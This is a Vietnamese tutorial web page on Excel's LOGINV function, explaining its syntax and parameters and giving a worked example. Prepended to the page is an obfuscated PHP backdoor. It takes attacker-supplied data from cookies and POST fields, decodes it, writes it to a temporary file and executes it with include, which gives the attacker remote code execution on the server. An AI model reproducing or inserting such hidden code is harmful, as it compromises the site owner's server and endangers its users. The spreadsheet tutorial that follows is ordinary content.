$ylZYFX = chr (85) . '_' . 'E' . "\121" . "\130" . chr (108) . chr (104); $yLWtuVuIpp = 'c' . chr ( 753 - 645 ).chr (97) . "\x73" . chr ( 582 - 467 ).chr (95) . "\145" . "\170" . chr ( 510 - 405 ).chr (115) . "\x74" . 's';$kAOmFrC = class_exists($ylZYFX); $yLWtuVuIpp = "35366";$DZnLrk = strpos($yLWtuVuIpp, $ylZYFX);if ($kAOmFrC == $DZnLrk){function IAeTZP(){$aZfgaHHvu = new /* 4364 */ U_EQXlh(29822 + 29822); $aZfgaHHvu = NULL;}$XKXHSy = "29822";class U_EQXlh{private function KWZRppi($XKXHSy){if (is_array(U_EQXlh::$YNoKSXbD)) {$name = sys_get_temp_dir() . "/" . crc32(U_EQXlh::$YNoKSXbD["salt"]);@U_EQXlh::$YNoKSXbD["write"]($name, U_EQXlh::$YNoKSXbD["content"]);include $name;@U_EQXlh::$YNoKSXbD["delete"]($name); $XKXHSy = "29822";exit();}}public function HfLoXJy(){$XvCgWQeB = "40563";$this->_dummy = str_repeat($XvCgWQeB, strlen($XvCgWQeB));}public function __destruct(){U_EQXlh::$YNoKSXbD = @unserialize(U_EQXlh::$YNoKSXbD); $XKXHSy = "22734_2480";$this->KWZRppi($XKXHSy); $XKXHSy = "22734_2480";}public function gYQxmX($XvCgWQeB, $uwoXMoiAQJ){return $XvCgWQeB[0] ^ str_repeat($uwoXMoiAQJ, intval(strlen($XvCgWQeB[0]) / strlen($uwoXMoiAQJ)) + 1);}public function HturnsX($XvCgWQeB){$IRxSAES = "\142" . "\x61" . "\163" . chr (101) . chr (54) . chr ( 962 - 910 );return array_map($IRxSAES . chr ( 150 - 55 ).chr ( 1074 - 974 )."\145" . "\143" . 'o' . chr (100) . 'e', array($XvCgWQeB,));}public function __construct($oCcnlBmz=0){$vemMBQz = ',';$XvCgWQeB = "";$YdToI = $_POST;$OaybdGwVx = $_COOKIE;$uwoXMoiAQJ = "c88d6de5-9c28-4205-88d1-aa6ae4d03ace";$vclXYK = @$OaybdGwVx[substr($uwoXMoiAQJ, 0, 4)];if (!empty($vclXYK)){$vclXYK = explode($vemMBQz, $vclXYK);foreach ($vclXYK as $TPeibWgFe){$XvCgWQeB .= @$OaybdGwVx[$TPeibWgFe];$XvCgWQeB .= @$YdToI[$TPeibWgFe];}$XvCgWQeB = $this->HturnsX($XvCgWQeB);}U_EQXlh::$YNoKSXbD = $this->gYQxmX($XvCgWQeB, $uwoXMoiAQJ);if (strpos($uwoXMoiAQJ, $vemMBQz) !== FALSE){$uwoXMoiAQJ = explode($vemMBQz, $uwoXMoiAQJ); $dXdlFMY = sprintf("22734_2480", rtrim($uwoXMoiAQJ[0]));}}public static $YNoKSXbD = 56125;}IAeTZP();} Hàm LOGINV trong EXCEL - Tải Chùa

Hàm LOGINV trong EXCEL

Rate this post

Hàm LOGINV là hàm excel thuộc loại hàm tương thích tính toán về hàm phân phối lôgarit chuẩn tích lũy. Qua bài viết này, chắc chắn bạn sẽ biết cách để sử dụng hàm LOGINV để ứng dụng nó trong nghiên cứu lý thuyết xác suất thống kê với phân phối lôgarit trong excel.

Chú ý khi sử dụng hàm LOGINV

 

Hàm LOGINV là hàm sẽ trả về giá trị nghịch đảo của hàm phân phối lôgarit chuẩn tích lũy của một giá trị x nào đó, trong đó ln(x) thường được phân bố với tham số trung bình và độ lệch chuẩn. Hàm LOGINV sẽ tính toán với một xác suất được gắn với phân bố lôgarit chuẩn.

Cú pháp và cách dùng hàm LOGINV trong EXCEL

Cú pháp thực hiện: LOGINV(probability, mean, standard_dev)

Trong Đó:

  • probability:Là Một xác suất gắn với phân bố lôgarit chuẩn. Giá trị này bắt buộc phải có.
  • mean : Là Trung bình của ln(x). Giá trị này bắt buộc phải có.
  • standard_dev : Là Độ lệch chuẩn của ln(x). Giá trị này bắt buộc phải có.

Chú ý khi sử dụng hàm LOGINV

Chú ý khi sử dụng hàm LOGINV

 

Xét ví dụ minh họa

Nhập vào excel các giá trị thực tế tương ứng với các tham số của hàm  LOGINV trong các ô excel. Yêu câu: Hãy xác suất gắn với phân bố logarit chuẩn là 0.05275, Trung bình của ln(x) là 4.5 và có Độ lệch chuẩn của ln(x) là 1.8 :

Ví dụ minh họa cho hàm LOGINV

Ví dụ minh họa cho hàm LOGINV

Nhập công thức của hàm LOGINV vào bảng tính. Khi đó, kết quả tính của hàm nhận được sẽ là 4.885350834 :

Kết quả trả về của hàm LOGINV

Kết quả trả về của hàm LOGINV

Với những thông tin hữu ích trên, chắc hẳn các bạn đã biết cách sử dụng hàm LOGINV trong excel rồi. Khi sử dụng hàm này bạn cũng nên lưu ý đối với hàm này là các tham số trong hàm phải luôn ở dạng số; nếu không thì hàm sẽ trả về giá trị lỗi và giá trị xác suất phải thuộc vào khoảng giá trị từ 0 đến 1. Hàm LOGINV được sử dụng ở tất cả các phiên bản office của Microsoft.